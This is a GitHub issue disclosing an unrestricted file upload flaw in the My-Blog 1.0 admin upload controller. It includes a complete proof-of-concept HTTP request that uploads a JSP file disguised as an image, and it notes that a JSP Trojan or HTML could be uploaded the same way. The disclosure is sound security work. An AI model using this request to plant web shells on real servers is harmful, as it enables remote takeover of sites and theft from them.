Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

My-Blog 1.0 has any file upload #141

Open
LvZCh opened this issue Dec 26, 2024 · 0 comments
Open

My-Blog 1.0 has any file upload #141

LvZCh opened this issue Dec 26, 2024 · 0 comments

Comments

@LvZCh
Copy link

LvZCh commented Dec 26, 2024

Source code name:My-Blog
Source code version:1.0
Source code download link:https://github.com/ZHENFENG13/My-Blog/archive/refs/heads/master.zip

Deployment precautions:
Before starting the project, it is necessary to open
src/main/java/com/site/blog/my/core/config/Constants.java
Change the file line upload path to your own absolute path
D:\XXX\My-Blog-master\src\main\resources\static\upload\
image

Code Audit:
In src/main/java/com/site/blog/my/core/controller/admin/uploadController. java, methods do not restrict uploaded files
image

Vulnerability exploitation:
Data packet:

POST /admin/upload/file HTTP/1.1
Host: 192.168.0.102:28083
Content-Length: 205
Cache-Control: max-age=0
Origin: http://192.168.0.102:28083
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrBk4QTGbN2cvOaPC
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.102:28083/admin/blogs/edit/4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E9CBB3A8B72CDBF558ECAED51B5F892F
Connection: close

------WebKitFormBoundaryrBk4QTGbN2cvOaPC
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg

<% out.println("test"); %>
------WebKitFormBoundaryrBk4QTGbN2cvOaPC--

Can upload JSP Trojan horse
image
image
You can also upload HTML
image
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant